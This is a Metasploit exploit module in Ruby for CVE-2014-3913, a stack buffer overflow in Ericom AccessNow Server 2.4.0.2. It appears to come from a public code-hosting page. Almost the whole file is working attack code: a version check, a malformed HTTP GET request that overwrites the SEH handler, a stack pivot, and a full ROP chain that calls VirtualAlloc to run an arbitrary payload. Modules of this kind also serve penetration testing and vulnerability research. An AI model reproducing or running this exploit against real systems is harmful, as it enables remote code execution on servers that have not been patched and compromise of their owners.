133 lines
4.8 KiB
Ruby
133 lines
4.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Ericom AccessNow Server Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack based buffer overflow in Ericom AccessNow Server. The
|
|
vulnerability is due to an insecure usage of vsprintf with user controlled data,
|
|
which can be triggered with a malformed HTTP request. This module has been tested
|
|
successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003
|
|
Server SP2.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Vulnerability Discovery
|
|
'juan vazquez', # Metasploit Module
|
|
],
|
|
'References' =>
|
|
[
|
|
['ZDI', '14-160'],
|
|
['CVE', '2014-3913'],
|
|
['BID', '67777'],
|
|
['URL','http://www.ericom.com/security-ERM-2014-610.asp']
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4096,
|
|
'BadChars' => "\x00\x0d\x0a",
|
|
'DisableNops' => true,
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',
|
|
{
|
|
'RopOffset' => 62,
|
|
'Offset' => 30668,
|
|
'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => 'Jun 2 2014',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options([Opt::RPORT(8080)])
|
|
end
|
|
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'uri' => '/AccessNow/start.html'
|
|
})
|
|
|
|
unless res && res.code == 200 && res.headers['Server']
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
if res.headers['Server'] =~ /Ericom AccessNow Server/
|
|
return Exploit::CheckCode::Appears # Ericom AccessNow 2.4
|
|
elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/
|
|
return Exploit::CheckCode::Detected # Ericom AccessNow 3
|
|
end
|
|
|
|
Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
def exploit_uri
|
|
uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message
|
|
uri << rand_text(target['RopOffset'])
|
|
uri << create_rop_chain
|
|
uri << payload.encoded
|
|
uri << rand_text(target['Offset'] - uri.length)
|
|
uri << rand_text(4) # nseh
|
|
uri << [target.ret].pack("V") # seh
|
|
|
|
uri
|
|
end
|
|
|
|
def exploit
|
|
print_status("Sending malformed request...")
|
|
send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => exploit_uri,
|
|
'encode' => false
|
|
}, 1)
|
|
end
|
|
|
|
def create_rop_chain
|
|
# rop chain generated with mona.py - www.corelan.be
|
|
rop_gadgets =
|
|
[
|
|
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
|
|
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
|
|
0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll]
|
|
0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll]
|
|
0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll]
|
|
0x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll]
|
|
0x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll]
|
|
0x103eed74, # & jmp esp [AccessNowAccelerator32.dll]
|
|
0x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll]
|
|
0xffffffff, # Value to negate, will become 0x00000001
|
|
0x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll]
|
|
0x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll]
|
|
0x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll]
|
|
0xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx)
|
|
0x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll]
|
|
0x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll]
|
|
0x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll]
|
|
0xffffffc0, # Value to negate, will become 0x00000040
|
|
0x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll]
|
|
0x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll]
|
|
0x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll]
|
|
0x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll]
|
|
0x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll]
|
|
0x90909090, # nop
|
|
0x1052cfce # PUSHAD # RETN [AccessNowAccelerator32.dll]
|
|
].pack("V*")
|
|
|
|
rop_gadgets
|
|
end
|
|
end
|